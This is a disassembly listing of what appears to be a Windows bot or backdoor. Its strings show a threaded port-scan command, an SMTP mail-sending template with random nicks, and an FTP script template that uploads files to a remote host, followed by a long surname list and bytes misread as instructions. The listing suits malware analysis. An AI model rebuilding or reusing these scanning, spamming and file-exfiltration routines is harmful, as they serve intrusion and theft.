align 4
unk_439D54 db 2Dh ; - ; DATA XREF: sub_403038+47BAo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_439DBC db 2Dh ; - ; DATA XREF: sub_403038+4829o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_17 db 'Failed to start scan thread, error: <%d>.',0
align 4
aEmail db 'email',0 ; DATA XREF: sub_403038+1C5Ao
align 4
asc_439DFC: ; DATA XREF: sub_403038+1CAEo
unicode 0, < >,0
a_: ; DATA XREF: sub_403038+1CB3o
unicode 0, <_>,0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_403038+1D4Fo
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
unk_439E50 db 2Dh ; - ; DATA XREF: sub_403038+1DC3o
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_403038+42EDo
aHcon db 'hcon',0 ; DATA XREF: sub_403038+42FEo
align 4
aUpload db 'upload',0 ; DATA XREF: sub_403038+43A7o
align 4
unk_439E8C db 2Dh ; - ; DATA XREF: sub_403038+43D1o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_403038+441Bo
align 4
aAb db 'ab',0 ; DATA XREF: sub_403038+442Co
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_403038+445Do
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSS_0 db '-s:%s',0 ; DATA XREF: sub_403038+447Do
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_403038+4494o
aOpen_1 db 'open',0 ; DATA XREF: sub_403038+4499o
align 4
unk_439EFC db 2Dh ; - ; DATA XREF: sub_403038+44ADo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s',0
align 4
dword_439F24 dd 234032Dh, 2707466h, 55202D03h, 616F6C70h, 676E6964h
; DATA XREF: sub_403038:loc_4074ECo
dd 6C696620h, 25203A65h, 6F742073h, 7325203Ah, 69616620h
dd 2E64656Ch, 2 dup(0)
aReal db 'real',0
align 10h
dd 0
dword_439F64 dd 0 ; DATA XREF: sub_408B4C+7o
off_439F68 dd offset sub_408768 ; DATA XREF: sub_408B4C+49r
aConst db 'const',0
align 8
dd 1, 4087D4h, 7474656Ch, 7265h, 0
dd 2, 408832h, 706D6F63h, 2 dup(0)
dd 3, 40887Fh, 6E756F63h, 797274h, 0
dd 4, 408925h, 736Fh, 2 dup(0)
dd 5, 40899Ah
off_439FD0 dd offset aAbdulrazak ; DATA XREF: sub_408768+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
off_439FDC dd offset aAddison ; DATA XREF: sub_408B4C+39o
; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
; ---------------------------------------------------------------------------
or [ebp-4AEFFFBDh], dh
inc ebx
add [eax], bl
mov ch, 43h
add ds:0B5300043h[esi*4], ah
inc ebx
add [eax], bh
mov ch, 43h
add [eax-4Bh], cl
inc ebx
add [ebp+esi*4+43h], dl
add [eax-4Bh], ah
inc ebx
add [eax-4Bh], ch
inc ebx
add [eax-4Bh], dh
inc ebx
add [eax-77FFBC4Bh], al
mov ch, 43h
add [eax-5BFFBC4Bh], bl
mov ch, 43h
add [eax-43FFBC4Bh], dh
mov ch, 43h
add ah, cl
mov ch, 43h
add ah, dl
mov ch, 43h
add ah, bl
mov ch, 43h
add al, ch
mov ch, 43h
add al, dh
mov ch, 43h
add al, bh
mov ch, 43h
add ah, bh
mov ch, 43h
add [esi+esi*4], al
inc ebx
add [esi+esi*4], cl
inc ebx
add [eax], bl
mov dh, 43h
add [esi+esi*4], ah
inc ebx
add [esi+esi*4], ch
inc ebx
add [eax], bh
mov dh, 43h
add [eax-4Ah], al
inc ebx
add [eax-4Ah], cl
inc ebx
add [eax-4Ah], dl
inc ebx
add [eax-4Ah], bl
inc ebx
add [esi+esi*4+43h], ah
add [eax-4Ah], dh
inc ebx
add [eax-4Ah], bh
inc ebx
add [eax-77FFBC4Ah], al
mov dh, 43h
add [eax-63FFBC4Ah], dl
mov dh, 43h
add [esi+esi*4-4953FFBDh], ah
inc ebx
add [esi+esi*4-493FFFBDh], dh
inc ebx
add ah, cl
mov dh, 43h
add ah, dl
mov dh, 43h
add al, ah
mov dh, 43h
add al, ch
mov dh, 43h
add ah, dh
mov dh, 43h
add ah, bh
mov dh, 43h
add [edi+esi*4], al
inc ebx
add [edi+esi*4], cl
inc ebx
add [edi+esi*4], dl
inc ebx
add [edi+esi*4], bl
inc ebx
add [edi+esi*4], ah
inc ebx
add [edi+esi*4], ch
inc ebx
add [eax], bh
mov bh, 43h
add [eax-49h], al
inc ebx
add [eax-49h], cl
inc ebx
add [edi+esi*4+43h], dl
add [edi+esi*4+43h], bl
add [edi+esi*4+43h], ah
add [edi+esi*4+43h], ch
add [edi+esi*4+43h], dh
add [eax-77FFBC49h], al
mov bh, 43h
add [eax-67FFBC49h], dl
mov bh, 43h
add [eax-57FFBC49h], ah
mov bh, 43h
add [eax-47FFBC49h], dh
mov bh, 43h
add al, al
mov bh, 43h
add ah, cl
mov bh, 43h
add ah, dl
mov bh, 43h
add ah, bl
mov bh, 43h
add ah, ah
mov bh, 43h
add ah, ch
mov bh, 43h
add ah, dh
mov bh, 43h
add ah, bh
mov bh, 43h
add [eax+edi*4], al
inc ebx
add [eax+edi*4], cl
inc ebx
add [eax+edi*4], dl
inc ebx
add [eax+edi*4], bl
inc ebx
add [eax+edi*4], ah
inc ebx
add [eax+edi*4], ch
inc ebx
add [eax+edi*4], dh
inc ebx
add [eax-48h], al
inc ebx
add [eax-48h], cl
inc ebx
add [eax-48h], dl
inc ebx
add [eax-48h], bl
inc ebx
add [eax-48h], ah
inc ebx
add [eax-48h], ch
inc ebx
add [eax-48h], dh
inc ebx
add [eax+edi*4+43h], bh
add [eax-6FFFBC48h], cl
mov eax, 0B8980043h
inc ebx
add [eax+edi*4-474FFFBDh], ah
inc ebx
add [eax+edi*4-4737FFBDh], bh
inc ebx
add al, dl
mov eax, 0B8DC0043h
inc ebx
add ah, ch
mov eax, 0B8F40043h
inc ebx
add ah, bh
mov eax, 0B9040043h
inc ebx
add [eax], dl
mov ecx, 0B9180043h
inc ebx
add [eax], ah
mov ecx, 0B92C0043h
inc ebx
add [ecx+edi*4], dh
inc ebx
add [ecx+edi*4], bh
inc ebx
add [ecx+edi*4+43h], al
add [eax-47h], dl
inc ebx
add [ecx+edi*4+43h], bl
add [ecx+edi*4+43h], ah
add [eax-47h], dh
inc ebx
add [eax-47h], bh
inc ebx
add [eax-77FFBC47h], al
mov ecx, 0B9900043h
inc ebx
add [eax-5BFFBC47h], bl
mov ecx, 0B9B00043h
inc ebx
add [eax-3BFFBC47h], bh
mov ecx, 0B9CC0043h
inc ebx
add al, bl
mov ecx, 0B9E00043h
inc ebx
add ah, ch
mov ecx, 0B9F80043h
inc ebx
add [edx+edi*4], al
inc ebx
add [eax], dl
mov edx, 0BA1C0043h
inc ebx
add [eax], ah
mov edx, 0BA2C0043h
inc ebx
add [edx+edi*4], dh
inc ebx
add [eax-46h], al
inc ebx
add [eax-46h], cl
inc ebx
add [edx+edi*4+43h], dl
add [edx+edi*4+43h], bl
add [edx+edi*4+43h], ah
add [edx+edi*4+43h], ch
add [edx+edi*4+43h], dh
add [edx+edi*4+43h], bh
add [edx+edi*4-4573FFBDh], al
inc ebx
add [edx+edi*4-4563FFBDh], dl
inc ebx
add [edx+edi*4-4553FFBDh], ah
inc ebx
add [edx+edi*4-4543FFBDh], dh
inc ebx
add ah, al
mov edx, 0BAD00043h
inc ebx
add al, bl
mov edx, 0BAE40043h
inc ebx
add ah, ch
mov edx, 0BAF40043h
inc ebx
add ah, bh
mov edx, 0BB080043h
inc ebx
add [eax], dl
mov ebx, 0BB180043h
inc ebx
add [ebx+edi*4], ah
inc ebx
add [ebx+edi*4], ch
inc ebx
add [ebx+edi*4], dh
inc ebx
add [ebx+edi*4], bh
inc ebx
add [ebx+edi*4+43h], al
add [eax-45h], cl
inc ebx
add [eax-45h], dl
inc ebx
add [eax-45h], bl
inc ebx
add [eax-45h], ah
inc ebx
add [eax-45h], ch
inc ebx
add [eax-45h], dh
inc ebx
add [ebx+edi*4+43h], bh
add [ebx+edi*4-4473FFBDh], al
inc ebx
add [ebx+edi*4-4463FFBDh], dl
inc ebx
add [ebx+edi*4-444FFFBDh], ah
inc ebx
add [ebx+edi*4-443FFFBDh], dh
inc ebx
add al, cl
mov ebx, 0BBD00043h
inc ebx
add al, bl
mov ebx, 0BBE40043h
inc ebx
add al, dh
mov ebx, 0BBFC0043h
inc ebx
add [eax], cl
mov esp, 0BC100043h
inc ebx
add [eax], bl
mov esp, 0BC240043h
inc ebx
add [eax], dh
mov esp, 0BC400043h
inc ebx
add [eax-44h], cl
inc ebx
add [esp+edi*4+43h], dl
add [esp+edi*4+43h], bl
add [eax-44h], ch
inc ebx
add [eax-44h], dh
inc ebx
add [eax-44h], bh
inc ebx
add [eax-77FFBC44h], al
mov esp, 0BC940043h
inc ebx
add [esp+edi*4-435BFFBDh], bl
inc ebx
add [esp+edi*4-4347FFBDh], ch
inc ebx
add al, al
mov esp, 0BCCC0043h
inc ebx
add al, bl
mov esp, 0BCE40043h
inc ebx
add ah, ch
mov esp, 0BCF40043h
inc ebx
add ah, bh
mov esp, 0BD040043h
inc ebx
add ds:0BD140043h[edi*4], cl
inc ebx
add ds:0BD240043h[edi*4], bl
inc ebx
add ds:0BD340043h[edi*4], ch
inc ebx
add ds:0BD480043h[edi*4], bh
inc ebx
add [eax-43h], dl
inc ebx
add [eax-43h], bl
inc ebx
add [eax-43h], ah
inc ebx
add [eax-43h], ch
inc ebx
add [ebp+edi*4+43h], dh
add [ebp+edi*4+43h], bh
add [ebp+edi*4-4273FFBDh], al
inc ebx
add [ebp+edi*4-4263FFBDh], dl
inc ebx
add [ebp+edi*4-4253FFBDh], ah
inc ebx
add [eax-3BFFBC43h], bh
mov ebp, 0BDD00043h
inc ebx
add ah, bl
mov ebp, 0BDE40043h
inc ebx
add ah, ch
mov ebp, 0BDF40043h
inc ebx
add ah, bh
mov ebp, 0BE040043h
inc ebx
add [esi+edi*4], cl
inc ebx
add [esi+edi*4], dl
inc ebx
add [esi+edi*4], bl
inc ebx
add [eax], ch
mov esi, 0BE300043h
inc ebx
add [eax], bh
mov esi, 0BE440043h
inc ebx
add [esi+edi*4+43h], cl
add [esi+edi*4+43h], dl
add [esi+edi*4+43h], bl
add [esi+edi*4+43h], ah
add [esi+edi*4+43h], dh
add [esi+edi*4+43h], bh
add [esi+edi*4-4173FFBDh], al
inc ebx
add [esi+edi*4-4163FFBDh], dl
inc ebx
add [esi+edi*4-414FFFBDh], ah
inc ebx
add [eax-3FFFBC42h], bh
mov esi, 0BEC80043h
inc ebx
add ah, dl
mov esi, 0BEE00043h
inc ebx
add ah, ch
mov esi, 0BEF40043h
inc ebx
add ah, bh
mov esi, 0BF040043h
inc ebx
add [edi+edi*4], cl
inc ebx
add [eax], bl
mov edi, 0BF240043h
inc ebx
add [edi+edi*4], ch
inc ebx
add [edi+edi*4], dh
inc ebx
add [eax-41h], al
inc ebx
add [eax-41h], cl
inc ebx
add [eax-41h], dl
inc ebx
add [eax-41h], bl
inc ebx
add [edi+edi*4+43h], ah
add [edi+edi*4+43h], ch
add [edi+edi*4+43h], dh
add [edi+edi*4+43h], bh
add [edi+edi*4-406FFFBDh], al
inc ebx
add [eax-57FFBC41h], ah
mov edi, 0BFB80043h
inc ebx
add al, al
mov edi, 0BFCC0043h
inc ebx
add ah, dl
mov edi, 0BFE00043h
inc ebx
add al, ch
mov edi, 0BFF00043h
inc ebx
add ah, bh
mov edi, 0C0040043h
inc ebx
add [eax], dl
rol byte ptr [ebx+0], 18h
rol byte ptr [ebx+0], 20h
rol byte ptr [ebx+0], 28h
rol byte ptr [ebx+0], 34h
rol byte ptr [ebx+0], 40h
rol byte ptr [ebx+0], 4Ch
rol byte ptr [ebx+0], 54h
rol byte ptr [ebx+0], 5Ch
rol byte ptr [ebx+0], 68h
rol byte ptr [ebx+0], 70h
rol byte ptr [ebx+0], 78h
rol byte ptr [ebx+0], 80h
rol byte ptr [ebx+0], 8Ch
rol byte ptr [ebx+0], 94h
rol byte ptr [ebx+0], 9Ch
rol byte ptr [ebx+0], 0A4h
rol byte ptr [ebx+0], 0ACh
rol byte ptr [ebx+0], 0B4h
rol byte ptr [ebx+0], 0BCh
rol byte ptr [ebx+0], 0C4h
rol byte ptr [ebx+0], 0CCh
rol byte ptr [ebx+0], 0D8h
rol byte ptr [ebx+0], 0E0h
rol byte ptr [ebx+0], 0E8h
rol byte ptr [ebx+0], 0F0h
rol byte ptr [ebx+0], 0F8h
rol byte ptr [ebx+0], 4
rol dword ptr [ebx+0], 10h
rol dword ptr [ebx+0], 18h
rol dword ptr [ebx+0], 24h
rol dword ptr [ebx+0], 2Ch
rol dword ptr [ebx+0], 34h
rol dword ptr [ebx+0], 3Ch
rol dword ptr [ebx+0], 48h
rol dword ptr [ebx+0], 54h
rol dword ptr [ebx+0], 60h
rol dword ptr [ebx+0], 6Ch
rol dword ptr [ebx+0], 78h
rol dword ptr [ebx+0], 80h
rol dword ptr [ebx+0], 88h
rol dword ptr [ebx+0], 94h
rol dword ptr [ebx+0], 9Ch
rol dword ptr [ebx+0], 0A0h
rol dword ptr [ebx+0], 0A4h
rol dword ptr [ebx+0], 0ACh
rol dword ptr [ebx+0], 0B4h
rol dword ptr [ebx+0], 0C0h
rol dword ptr [ebx+0], 0C8h
rol dword ptr [ebx+0], 0D0h
rol dword ptr [ebx+0], 0DCh
rol dword ptr [ebx+0], 0E4h
rol dword ptr [ebx+0], 0F4h
rol dword ptr [ebx+0], 0FCh
rol dword ptr [ebx+0], 8
retn 43h
; ---------------------------------------------------------------------------
adc dl, al
inc ebx
add [eax], bl
retn 43h
; ---------------------------------------------------------------------------
and dl, al
inc ebx
add [edx+eax*8], ch
inc ebx
add [edx+eax*8], dh
inc ebx
add [eax-3Eh], al
inc ebx
add [eax-3Eh], cl
inc ebx
add [edx+eax*8+43h], dl
add [eax-3Eh], ah
inc ebx
add [eax-3Eh], ch
inc ebx
add [edx+eax*8+43h], dh
add [edx+eax*8+43h], bh
add [edx+eax*8-3D73FFBDh], al
inc ebx
add [eax-5BFFBC3Eh], bl
retn 43h
; ---------------------------------------------------------------------------
lodsb
retn 43h
; ---------------------------------------------------------------------------
mov ah, 0C2h
inc ebx
add [edx+eax*8-3D37FFBDh], bh
inc ebx
add al, dl
retn 43h
; ---------------------------------------------------------------------------
fadd st(2), st
inc ebx
add ah, ah
retn 43h
; ---------------------------------------------------------------------------
dd offset aHernandez ; "Hernandez"
; ---------------------------------------------------------------------------
cld
retn 43h
; ---------------------------------------------------------------------------
add al, 0C3h
inc ebx
add [ebx+eax*8], cl
inc ebx
add [ebx+eax*8], dl
inc ebx
add [ebx+eax*8], bl
inc ebx
add [eax], ch
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax], dh
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax], bh
retn
; ---------------------------------------------------------------------------
inc ebx
add [ebx+eax*8+43h], al
add [ebx+eax*8+43h], cl
add [ebx+eax*8+43h], dl
add [ebx+eax*8+43h], bl
add [ebx+eax*8+43h], ah
add [eax-3Dh], dh
inc ebx
add [eax-3Dh], bh
inc ebx
add [eax-77FFBC3Dh], al
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax-67FFBC3Dh], dl
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax-57FFBC3Dh], ah
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax-47FFBC3Dh], dh
retn
; ---------------------------------------------------------------------------
inc ebx
add al, al
retn
; ---------------------------------------------------------------------------
inc ebx
add al, cl
retn
; ---------------------------------------------------------------------------
inc ebx
add al, dl
retn
; ---------------------------------------------------------------------------
inc ebx
add al, bl
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, bl
retn
; ---------------------------------------------------------------------------
db 43h ; C
db 0
db 0E4h ; ä
db 0C3h ; Ã
; ---------------------------------------------------------------------------
inc ebx
add al, dh
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, bh
retn
; ---------------------------------------------------------------------------
dw 43h
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
; ---------------------------------------------------------------------------
cld
mov dword ptr [ebx+0], offset aLecar ; "Lecar"
or al, 0C8h
inc ebx
add [eax+ecx*8], dl
inc ebx
add [eax], ah
enter 43h, 28h
enter 43h, 30h
enter 43h, 3Ch
enter 43h, 44h
enter 43h, 4Ch
enter 43h, 54h
enter 43h, 5Ch
enter 43h, 64h
enter 43h, 6Ch
enter 43h, 78h
enter 43h, 7Ch
enter 43h, 84h
enter 43h, 8Ch
enter 43h, 94h
enter 43h, 9Ch
enter 43h, 0A4h
enter 43h, 0ACh
enter 43h, 0B8h
enter 43h, 0C4h
enter 43h, 0CCh
enter 43h, 0D4h
enter 43h, 0E0h
enter 43h, 0E8h
enter 43h, 0F0h
enter 43h, 0F8h
enter 43h, 4
leave
inc ebx
add [eax], dl
leave
inc ebx
add [eax], bl
leave
inc ebx
add [eax], ah
leave
inc ebx
add [ecx+ecx*8], ch
inc ebx
add [ecx+ecx*8], dh
inc ebx
add [ecx+ecx*8], bh
inc ebx
add [ecx+ecx*8+43h], al
add [ecx+ecx*8+43h], cl
add [ecx+ecx*8+43h], dl
add [ecx+ecx*8+43h], bl
add [ecx+ecx*8+43h], ah
add [ecx+ecx*8+43h], ch
add [ecx+ecx*8+43h], dh
add [eax-77FFBC37h], al
leave
inc ebx
add [ecx+ecx*8-3667FFBDh], cl
inc ebx
add [ecx+ecx*8-364FFFBDh], ah
inc ebx
add [ecx+ecx*8-3637FFBDh], bh
inc ebx
add ah, dl
leave
inc ebx
add ah, bl
leave
inc ebx
add ah, ah
leave
inc ebx
add ah, ch
leave
inc ebx
add ah, dh
leave
inc ebx
add ah, bh
leave
inc ebx
add [edx+ecx*8], cl
inc ebx
add [edx+ecx*8], dl
inc ebx
add [eax], ah
retf 43h
; ---------------------------------------------------------------------------
sub dl, cl
inc ebx
add [eax], dh
retf 43h
; ---------------------------------------------------------------------------
cmp dl, cl
inc ebx
add [eax-36h], al
inc ebx
add [edx+ecx*8+43h], cl
add [eax-36h], bl
inc ebx
add [eax-36h], ah
inc ebx
add [edx+ecx*8+43h], ch
add [edx+ecx*8+43h], dh
add [eax-73FFBC36h], al
retf 43h
; ---------------------------------------------------------------------------
xchg eax, esp
retf 43h
; ---------------------------------------------------------------------------
mov al, ds:0AC0043CAh
retf 43h
; ---------------------------------------------------------------------------
mov ah, 0CAh
inc ebx
add al, al
retf 43h
; ---------------------------------------------------------------------------
enter 43CAh, 0
ror dl, 1
inc ebx
add ah, bl
retf 43h
; ---------------------------------------------------------------------------
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
; ---------------------------------------------------------------------------
clc
retf 43h
; ---------------------------------------------------------------------------
cld
retf 43h
; ---------------------------------------------------------------------------
add al, 0CBh
inc ebx
add [eax], dl
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], bl
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8], ah
inc ebx
add [ebx+ecx*8], ch
inc ebx
add [eax], bh
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8+43h], al
add [ebx+ecx*8+43h], cl
add [eax-35h], bl
inc ebx
add [eax-35h], ah
inc ebx
add [ebx+ecx*8+43h], ch
add [ebx+ecx*8+43h], dh
add [eax-77FFBC35h], al
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax-67FFBC35h], dl
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax-57FFBC35h], ah
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8-343FFFBDh], dh
inc ebx
add al, cl
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, dl
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, bl
retf
; ---------------------------------------------------------------------------
inc ebx
add al, ch
retf
; ---------------------------------------------------------------------------
inc ebx
add al, dh
retf
; ---------------------------------------------------------------------------
inc ebx
add al, bh
retf
; ---------------------------------------------------------------------------
dw 43h
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
